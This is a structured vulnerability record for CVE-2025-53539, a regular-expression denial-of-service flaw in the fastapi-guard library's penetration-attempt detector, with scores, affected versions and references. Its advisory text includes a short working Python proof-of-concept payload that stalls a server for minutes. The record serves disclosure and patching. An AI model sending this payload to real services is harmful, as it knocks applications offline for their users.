{"id":"CVE-2025-53539","aliases":["CVE-2025-53539","GHSA-j47q-rc62-w448","PYSEC-2026-1359"],"related":[],"kind":"vulnerability","state":"published","title":"ReDoS in fastapi-guard's penetration attempts detector","summary":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nfastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.\n\nIt is not as severe as _exponential_ complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.\n\n### PoC\n\ne.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7\n\n```python\npayload = lambda n: '<'*n+ ' '*n+ 'style=' + '\"'*n + ' '*n+ 'url('*n # complexity: O(n^5)\n\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(50)).elapsed) # 0:00:03.771120\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(100)).elapsed) # 0:01:17.952637\nprint(requests.post(\"http://172.24.1.3:8000/\", data=payload(200)).elapsed) # timeout (>15min)\n```\n\nSingle-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.\n\n### Impact\n\nPenetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting `enable_penetration_detection=False` are vulnerable to DoS.","format":"markdown","source":"ghsa"},{"lang":"es","text":"FastAPI Guard es una librería de seguridad para FastAPI que proporciona middleware para controlar IP, registrar solicitudes y detectar intentos de penetración. La detección de intentos de penetración de fastapi-guard utiliza expresiones regulares para analizar las solicitudes entrantes. Sin embargo, algunos patrones de expresiones regulares utilizados en la detección son extremadamente ineficientes y pueden causar retrocesos de complejidad polinómica al procesar entradas especialmente manipuladas. Esta vulnerabilidad se corrigió en la versión 3.0.1.","source":"nvd"}],"published":"2025-07-07T19:16:02.559Z","modified":"2026-07-07T17:56:52.023Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"cwes":["CWE-1333"],"affected":[{"ranges":[{"version":"< 3.0.1","status":"affected"}],"vendor":"rennf93","product":"fastapi-guard","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.0.1"}],"ecosystem":"PyPI","package":"fastapi-guard","purl":"pkg:pypi/fastapi-guard","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"3.0.1"}],"vendor":"fastapi-guard","product":"fastapi_guard","cpe":"cpe:2.3:a:fastapi-guard:fastapi_guard:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"3.0.1"}],"ecosystem":"PyPI","package":"fastapi-guard","purl":"pkg:pypi/fastapi-guard","source":"pysec"}],"references":[{"url":"https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-j47q-rc62-w448","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53539","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/rennf93/fastapi-guard","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/fastapi-guard","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-j47q-rc62-w448","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-07-07T20:51:32.553Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-53539","url":"https://www.cve.org/CVERecord?id=CVE-2025-53539","licence":"CVE Terms of Use","modified":"2025-07-07T20:51:58.541Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-j47q-rc62-w448","url":"https://github.com/advisories/GHSA-j47q-rc62-w448","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:52.023Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-53539","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53539","licence":"Public domain","modified":"2026-06-17T09:38:24.673Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1359","url":"https://osv.dev/vulnerability/PYSEC-2026-1359","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:35.930Z"}],"updatedAt":"2026-11-25T22:59:00.760Z","epss":{"score":0.00603,"percentile":0.5022,"date":"2026-12-01T12:00:22.000Z"}}